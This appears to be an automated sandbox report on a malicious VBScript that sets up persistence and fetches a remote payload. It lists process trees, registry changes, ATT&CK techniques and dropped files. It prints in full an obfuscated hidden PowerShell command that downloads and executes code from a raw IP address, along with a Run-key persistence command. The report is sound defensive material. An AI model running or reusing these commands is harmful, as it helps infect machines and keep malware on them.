b72c0371a70cfeab0cfe44b72ef08716f6a3345cce395453e4cf931bf1f603ae | Triage

Analysis

max time kernel
277s
max time network
121s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
08-07-2024 17:58

Sharing

Report Analysis Logs

General

Target

vd.vbs
Size

10KB
MD5

f3a9219e977b293b8cb364f8c8378284
SHA1

6f5ee3933bc669d7af2acccc842c60db60be16f4
SHA256

b72c0371a70cfeab0cfe44b72ef08716f6a3345cce395453e4cf931bf1f603ae
SHA512

3960ed3091dfe3845832af7911c227c3e6f0cdfb97fd404224e1361ccb3d78e7b20a98fd3397ddd7e254113fb81983ca30f90cc28751390da3964a56ff2bfd91
SSDEEP

192:RMVgS5D/dL6hq20J0FeAPZIxOImBYb/QFfW6V5k6uS3N7AVzSXqLFCy+/7lm70OR:RMVgS5D/dL6hq20J0FeAPZIxOImBYb/h

Score

8^/10

execution persistence

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	2836	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

PowerShell

pid	Process
2836	powershell.exe
2400	powershell.exe
2184	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Windows\CurrentVersion\Run\RunScheduledTask = "powershell.exe -ExecutionPolicy Bypass -File \"System.Management.Automation.InvocationInfo.MyCommand.Path\""	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2836	powershell.exe
2400	powershell.exe
2184	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2836	powershell.exe
Token: SeDebugPrivilege	2400	powershell.exe
Token: SeDebugPrivilege	2184	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2276 wrote to memory of 2812	2276	WScript.exe	30
PID 2276 wrote to memory of 2812	2276	WScript.exe	30
PID 2276 wrote to memory of 2812	2276	WScript.exe	30
PID 2812 wrote to memory of 2836	2812	cmd.exe	32
PID 2812 wrote to memory of 2836	2812	cmd.exe	32
PID 2812 wrote to memory of 2836	2812	cmd.exe	32
PID 2536 wrote to memory of 2160	2536	taskeng.exe	35
PID 2536 wrote to memory of 2160	2536	taskeng.exe	35
PID 2536 wrote to memory of 2160	2536	taskeng.exe	35
PID 2160 wrote to memory of 2176	2160	WScript.exe	36
PID 2160 wrote to memory of 2176	2160	WScript.exe	36
PID 2160 wrote to memory of 2176	2160	WScript.exe	36
PID 2176 wrote to memory of 2400	2176	cmd.exe	38
PID 2176 wrote to memory of 2400	2176	cmd.exe	38
PID 2176 wrote to memory of 2400	2176	cmd.exe	38
PID 2536 wrote to memory of 864	2536	taskeng.exe	39
PID 2536 wrote to memory of 864	2536	taskeng.exe	39
PID 2536 wrote to memory of 864	2536	taskeng.exe	39
PID 864 wrote to memory of 2440	864	WScript.exe	40
PID 864 wrote to memory of 2440	864	WScript.exe	40
PID 864 wrote to memory of 2440	864	WScript.exe	40
PID 2440 wrote to memory of 2184	2440	cmd.exe	42
PID 2440 wrote to memory of 2184	2440	cmd.exe	42
PID 2440 wrote to memory of 2184	2440	cmd.exe	42

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\vd.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c POWeRSHeLL.eXe -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='VAN(''http://66.225.254.182:222/reg.jpg'')'.RePLACe('VAN','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    POWeRSHeLL.eXe -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='VAN(''http://66.225.254.182:222/reg.jpg'')'.RePLACe('VAN','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2836

C:\Windows\system32\taskeng.exe
taskeng.exe {0DFE5737-CA6C-4571-B35D-D546A1CF0C01} S-1-5-21-3294248377-1418901787-4083263181-1000:FMEDFXFE\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:2536
- C:\Windows\System32\WScript.exe
  C:\Windows\System32\WScript.exe "C:\Users\Public\k9vZGpST29kalJPb2RqUk9vZ.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2160
- - C:\Windows\System32\cmd.exe
    cmd /c ""C:\Users\Public\k9vZGpST29kalJPb2RqUk9vZ.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2176
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& 'C:\Users\Public\k9vZGpST29kalJPb2RqUk9vZ.ps1'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2400
- C:\Windows\System32\WScript.exe
  C:\Windows\System32\WScript.exe "C:\Users\Public\k9vZGpST29kalJPb2RqUk9vZ.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:864
- - C:\Windows\System32\cmd.exe
    cmd /c ""C:\Users\Public\k9vZGpST29kalJPb2RqUk9vZ.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2440
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& 'C:\Users\Public\k9vZGpST29kalJPb2RqUk9vZ.ps1'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2184

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

PowerShell

Persistence

Boot or Logon Autostart Execution

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

Credential Access

Discovery

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3XM8UNKGI0JPBNGVLOSK.temp

Filesize
7KB

MD5
7b18b312ef22dcc8e196999d5d6a8490

SHA1
08755acd45be3082007e236ea6985e43d91b67ac

SHA256
81338d4e2a6916c0e00b9269bd4f4e2d841ae277c824f0faee1c88f39d1c57cb

SHA512
422c2af6fc871259653e83a94895c5e69146a1c06c0eb992e6d510f91456e2be46180a4d04cc379ccbe0a2a67231f549e1296e6fb0099db30649eee943e4c9b1

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
8491967d7fd56319b69b6f3e43dd8ee3

SHA1
691197cef7c4ad87fb7295412f209203883fef16

SHA256
c836f6db01efe7cf8af872b7f00881c03a47aecee2f581f208b73c081898ffea

SHA512
438c93010b8557be0e763311d77306ea3e91f541728c8e51b1d8e06e3e1935b2a6355fe979f2e9bcc1d90fedd23dcf61f4164cdbb11a02413061193a35dac919

Download Submit
C:\Users\Public\k9vZGpST29kalJPb2RqUk9vZ.bat

Filesize
295B

MD5
b032577b9070ec04b20b017a13b80fe1

SHA1
456e02f79a9ef827d74a33640a226903915deda3

SHA256
98bde1eda05213754847ccc53758e69bda57349e459adf3c05fc20ce30696eea

SHA512
37524791846a5a4ce3eaeaa5c0982f1a9d052ba773b12e2402a4dd9cedaaf1f438b0e12b9c7d14183263cf0b86b380822ed4210d69e0c875bccdca06ab3f03a4

Download Submit
C:\Users\Public\k9vZGpST29kalJPb2RqUk9vZ.ps1

Filesize
708KB

MD5
fa0c7ef78bbed4f5a0d05219583f3b6f

SHA1
1c584ee82ef5ac9e1fc9d991312222abbbdb3b66

SHA256
3f57616aad7f78dd1b087414b2219dd704866c340716791c1b20452d4fd87cde

SHA512
339e09113a0b51364bc86824ed8078e192d5810716f523389e9e7a16fd80fc1d23bd2e878979ff281d1f3e60cd5ae50e415c457c04cefa6a815e993cb2f10e16

Download Submit
C:\Users\Public\k9vZGpST29kalJPb2RqUk9vZ.vbs

Filesize
1001B

MD5
f23c6311937368a391ae7f1a20f353f3

SHA1
53c02ed76746bc693ba51f11f896bbf88338172d

SHA256
4bd33af73be9da6aea7e8c86f1b178d8cf143ddae78379d9350ccb107e4f903d

SHA512
95b2964c414f4193bc20a2f1788d004fba4bf3242099be7fd416e5a88e7c18abdfcb6652083a70ab04d0824892b16991a1bc933de4743d77764988d3f0e4df35

Download Submit
memory/2400-26-0x0000000002890000-0x0000000002898000-memory.dmp

Filesize
32KB

Download
memory/2400-25-0x000000001B520000-0x000000001B802000-memory.dmp

Filesize
2.9MB

Download
memory/2836-8-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download
memory/2836-12-0x000007FEF602E000-0x000007FEF602F000-memory.dmp

Filesize
4KB

Download
memory/2836-17-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download
memory/2836-11-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download
memory/2836-10-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download
memory/2836-9-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download
memory/2836-4-0x000007FEF602E000-0x000007FEF602F000-memory.dmp

Filesize
4KB

Download
memory/2836-7-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download
memory/2836-6-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download
memory/2836-5-0x000000001B570000-0x000000001B852000-memory.dmp

Filesize
2.9MB

Download